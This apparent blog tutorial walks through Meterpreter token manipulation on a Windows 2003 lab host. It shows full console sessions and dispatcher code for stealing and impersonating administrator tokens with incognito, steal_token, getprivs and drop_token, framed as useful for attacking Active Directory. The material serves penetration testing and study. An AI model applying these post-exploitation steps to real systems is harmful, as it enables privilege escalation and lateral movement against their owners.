Meterpreter Token Manipulation
In revision 8055 HD committed new code that now allows the Meterpreter session if running as System to manipulate tokens in a much easier manner. Just like with incognito one can now get an access token and impersonate an account thru the Meterpreter Standard API, in fact I see both as complementing each other. Lets impersonate the Local Admin account on a Windows 2003 System using Incognito:
1: meterpreter > use incognito2: Loading extension incognito...success.3: meterpreter > list_tokens -u4:5: Delegation Tokens Available6: ========================================7: NT AUTHORITY\LOCAL SERVICE8: NT AUTHORITY\NETWORK SERVICE9: NT AUTHORITY\SYSTEM10: WIN2K3LAB01\Administrator11:12: Impersonation Tokens Available13: ========================================14: NT AUTHORITY\ANONYMOUS LOGON
From line 1 and 2 we can see that we have loaded the incognito extension, this will inject a DLL in to the process where Meterpreter is running to allow us to issue the commands. At line 3 we issue a command to list the tokens available to the attacker, System is the best privilege to have while executing this command since we will see all token on the host, if we are not running as System on the target machine we will only see those tokens that the account have used to connect to other systems with. Now we will change from our current running User ID to the Local Admin using incognito:
1: meterpreter > getuid2: Server username: NT AUTHORITY\SYSTEM3: meterpreter > impersonate_token WIN2K3LAB01\\Administrator4: [+] Delegation token available5: [+] Successfully impersonated user WIN2K3LAB01\Administrator6: meterpreter > getuid7: Server username: WIN2K3LAB01\Administrator
Now we have moved from System to Local Admin, this process is very useful for when attacking distributed system like Microsoft Active Directory where having local access only is not of great benefit but being able to move to the credentials for that system specially administrative credentials are of great value.
The new commands in Standard API are:
- drop_token It drops any token being impersonated..
- getprivs Gets as many system privileges as it can.
- steal_token Attempts to steal a token from a given process and impersonate such token.
The following code map to the following code in lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb
1: #
2: # Obtains as many privileges as possible on the target machine.
3: #
4: def cmd_getprivs(*args)
5: print_line("=" * 60)
6: print_line("Enabled Process Privileges")
7: print_line("=" * 60)
8: client.sys.config.getprivs.each do |priv|
9: print_line(" #{priv}")
10: end
11: print_line("")12: end
13:14: #
15: # Tries to steal the primary token from the target process.
16: #
17:18: def cmd_steal_token(*args)
19: if(args.length != 1 or args[0] == "-h")20: print_error("Usage: steal_token [pid]")
21: return
22: end
23: print_line("Stolen token with username: " + client.sys.config.steal_token(args[0]))
24: end
25:26: #
27: # Drops any assumed token.
28: #
29:30: def cmd_drop_token(*args)
31: print_line("Relinquished token, now running as: " + client.sys.config.drop_token())
32: end
The drop_token command executes the function cmd_drop_token that as it can be seen in line 31 it will execute the API call client.sys.config.drop_token. The getprivs command execute sthe cmd_getprivs function that in turn executes the client.sys.config.getprivs API call which returns an Array of all the privileges the current user has. The steal_token command executes the cmd_steal_token function that in turn executes the client.sys.config.steal_token API call taking as required argument the PID of the process from whom to steal the token from if possible. As it can be seen 3 simple API calls from inside a Meterpreter session is all it takes, this makes scripting this actions for other scripts extremely easy and sets this framework apart from others.
Lets Impersonate a toke that we know runs under the Administrators Account like the process of explorer.exe for a logged on account. We will list the processes, steal its token, check our privileges and then drop the token.:
1: meterpreter > ps2:3: Process list4: ============5:6: PID Name Path7: --- ---- ----8: 268 smss.exe \SystemRoot\System32\smss.exe9: 320 csrss.exe \??\C:\WINDOWS\system32\csrss.exe
10: 344 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
11: 392 services.exe C:\WINDOWS\system32\services.exe
12: 404 lsass.exe C:\WINDOWS\system32\lsass.exe
13: 600 vmacthlp.exe C:\Program Files\VMware\VMware Tools\vmacthlp.exe14: 620 svchost.exe C:\WINDOWS\system32\svchost.exe
15: 700 svchost.exe C:\WINDOWS\system32\svchost.exe
16: 756 svchost.exe C:\WINDOWS\system32\svchost.exe
17: 784 svchost.exe C:\WINDOWS\system32\svchost.exe
18: 820 svchost.exe C:\WINDOWS\System32\svchost.exe19: 964 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
20: 992 msdtc.exe C:\WINDOWS\system32\msdtc.exe
21: 1104 dns.exe C:\WINDOWS\System32\dns.exe22: 1152 svchost.exe C:\WINDOWS\System32\svchost.exe23: 1216 svchost.exe C:\WINDOWS\system32\svchost.exe
24: 1296 vmtoolsd.exe C:\Program Files\VMware\VMware Tools\vmtoolsd.exe25: 1368 VMUpgradeHelper.exe C:\Program Files\VMware\VMware Tools\VMUpgradeHelper.exe26: 1488 wmiprvse.exe C:\WINDOWS\system32\wbem\wmiprvse.exe
27: 1560 svchost.exe C:\WINDOWS\System32\svchost.exe28: 1704 dllhost.exe C:\WINDOWS\system32\dllhost.exe
29: 2164 Explorer.EXE C:\WINDOWS\Explorer.EXE30: 2228 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe31: 2236 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe32: 2284 meter_224.exe C:\Documents and Settings\Administrator\Desktop\meter_224.exe
33: 2352 wuauclt.exe C:\WINDOWS\system32\wuauclt.exe
34: 2484 wmiprvse.exe C:\WINDOWS\system32\wbem\wmiprvse.exe
35: 3076 svhost77.exe C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\svhost77.exe36: 3096 taskmgr.exe C:\WINDOWS\system32\taskmgr.exe
37: meterpreter > steal_token 216438: Stolen token with username: WIN2K3LAB01\Administrator39: meterpreter > getuid40: Server username: WIN2K3LAB01\Administrator41: meterpreter > drop_token42: Relinquished token, now running as: NT AUTHORITY\SYSTEM
We first executed the ps command to list all processes with the PID, we used the steal_token command in like 37 to steal the token for the explorer process that has the PID of 2164 and we confirm in line 39 with the getuid command that we are now running under that token, at line 41 we drop the token and return to run as System. The drop command is also useful for when impersonating a token using incongnito and we want to return.
The getprivs command will list all of the Windows System Process Level Privileges that are enabled:
1: meterpreter > getprivs2: ============================================================3: Enabled Process Privileges4: ============================================================5: SeDebugPrivilege6: SeTcbPrivilege7: SeAssignPrimaryTokenPrivilege8: SeLockMemoryPrivilege9: SeIncreaseQuotaPrivilege10: SeSecurityPrivilege11: SeTakeOwnershipPrivilege12: SeLoadDriverPrivilege13: SeSystemtimePrivilege14: SeProfileSingleProcessPrivilege15: SeIncreaseBasePriorityPrivilege16: SeCreatePagefilePrivilege17: SeCreatePermanentPrivilege18: SeBackupPrivilege19: SeRestorePrivilege20: SeShutdownPrivilege21: SeAuditPrivilege22: SeSystemEnvironmentPrivilege23: SeChangeNotifyPrivilege24: SeUndockPrivilege25: SeManageVolumePrivilege
As it can be seen the improvements on the Meterpreter ar being expanded and making it the best payload to be used against Windows System available in Metasploit. This new combination of token handling mixed with incognito and the ease in whish it can be scripted expands on the flexibility of Meterpreter and what can be done with it.